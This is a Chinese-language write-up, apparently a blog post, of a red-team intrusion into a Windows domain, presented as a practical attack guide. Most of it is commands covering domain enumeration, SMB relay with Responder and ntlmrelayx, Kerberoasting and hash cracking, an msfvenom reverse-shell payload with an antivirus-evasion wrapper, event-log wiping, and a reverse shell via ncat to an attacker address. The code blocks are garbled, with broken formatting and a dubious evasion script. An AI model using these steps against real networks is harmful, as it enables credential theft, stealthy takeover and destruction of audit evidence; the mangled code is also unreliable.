一、从一次内部渗透测试说起
几年前,我参与了一次内部红队渗透测试,目标是一个企业内部的 Windows 域环境。客户的防御体系在外部看似固若金汤,几乎没有明显的外部入口。然而当我设法潜入内网后,发现这个域环境中存在着一系列配置疏漏和权限问题,为整个渗透过程打开了一扇大门。
最终,我成功获得了域控的最高权限,并实现了数据窃取。本文将以这次渗透测试为案例,从技术细节入手,深挖 Windows 域渗透的攻击链和工具使用技巧。注意,以下内容仅供授权安全测试使用。
---
二、信息收集:域环境的画像
初期的内网立足点
进入目标企业内网后,我的初始权限仅限于一台普通的 Windows 工作站,且账户权限较低。这种情况下,第一步就是通过各种方法收集域信息,理解目标环境的结构。这里介绍两种常见的方式:
PowerView 的使用
PowerView 是 PowerShell 中一款功能强大的工具,用于枚举域信息。以下是常用命令: <pre><code class="language-powershell"># 枚举域用户 Get-NetUser
枚举域组及其成员
Get-NetGroup | Get-NetGroupMember
获取域控列表
Get-NetDomainController</code></pre>
这些命令可以帮助我们快速了解域内的主要角色和配置,例如是否存在可利用的敏感账户。
LDAP 查询
通过 Ruby 编写脚本直接进行 LDAP 查询也是一种低噪声的选择: <pre><code class="language-ruby">require 'net/ldap'
ldap = Net::LDAP.new ldap.host = '192.168.1.10' # 替换为域控 IP ldap.port = 389 ldap.auth 'username', 'password' # 替换为有效凭据
filter = Net::LDAP::Filter.eq("objectClass", "user") ldap.search(base: "dc=example,dc=com", filter: filter) do |entry| puts entry.dn end</code></pre> 这种方式更适合隐蔽的场景,可以直接获取域用户信息。
---

三、漏洞利用:横向移动的钥匙
SMB Relay 攻击
通过信息收集,我发现目标域的某些服务器存在 SMB 策略配置问题,没有开启 “签名强制”。这使得 SMB Relay 攻击成为了突破权限的一种选择。
攻击步骤
- 启动 Responder 工具,监听并伪造 SMB 服务:
- 诱导目标机器连接伪造的 SMB 服务,从而截获凭据:
- 如果捕获到 NTLM 哈希,可以尝试使用
Pass-the-Hash技术直接登录到其他机器。
<pre><code class="language-shell"> sudo responder -I eth0 -rdw `
`shell python3 ntlmrelayx.py -tf targets.txt -smb2support `
---
四、权限提升:迈向域控
利用 Kerberos 漏洞获取票据
在枚举域用户时,我发现了一个具有域管理员权限的账户,其配置中存在 SPN(Service Principal Name)。这是典型的 Kerberoasting 漏洞,可以用以下代码获取加密的票据:
生成票据</code></pre>powershell
使用 PowerShell 获取票据
Invoke-Kerberoast -OutputFormat Hashcat | Out-File 'tickets.txt' <pre><code>
破解票据
将 tickets.txt 中的加密哈希导入 Hashcat 工具进行破解:</code></pre>shell
使用 Hashcat 破解
hashcat -a 0 -m 13100 tickets.txt wordlist.txt <pre><code>破解成功后,我们可以直接使用明文密码登录域控。
---
五、隐蔽行动:绕过 EDR 的免杀技术
构造免杀 Payload
在域控权限获取后,如何隐藏动作并维持权限成为重点。这里推荐使用 msfvenom 制作自定义 Payload,结合 Shell 加壳技术:
生成基础 Payload</code></pre>shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe <pre><code>
免杀处理
通过 Shell 混淆重构 Payload:</code></pre>shell
!/bin/bash
input="payload.exe" output="final_payload.exe"
进行简单的混淆
xxd -i "$input" | sed 's/unsigned char/static char/' > temp.c gcc temp.c -o "$output" -mwindows rm temp.c <pre><code> 这种方法可以绕过绝大部分简单的防病毒软件。

---

六、痕迹清理与反追踪
Windows 日志清理
最后一步是清理操作日志,防止管理员察觉:</code></pre>powershell
清除事件日志
wevtutil cl System wevtutil cl Security wevtutil cl Application <pre><code>
流量伪装
使用加密隧道隐藏 C2 通信流量:</code></pre>shell
开启加密隧道
ssh -D 1080 -f -C -q -N user@remote-server proxychains ncat -e cmd.exe 192.168.1.100 4444 `
这种方式可以有效规避流量审计。
---
七、个人经验与总结
从多年的域渗透实战经验来看,关键在于对目标环境的理解和工具的熟练应用。以下是几点心得:
- 信息收集是关键:域环境信息繁杂,找到有效入口需要耐心和细致。
- 漏洞选择需谨慎:并非所有漏洞都能直接利用,选择最适合的攻击路径非常重要。
- 隐蔽行动很重要:在企业环境中,防御系统比个人用户复杂得多,绕过检测是实战的核心。
- 保持学习的心态:域渗透技术日新月异,持续更新知识库才能保持攻击力。
希望这篇文章能帮助你理解 Windows 域渗透的核心技术。如果你有更好的技巧或工具,欢迎交流。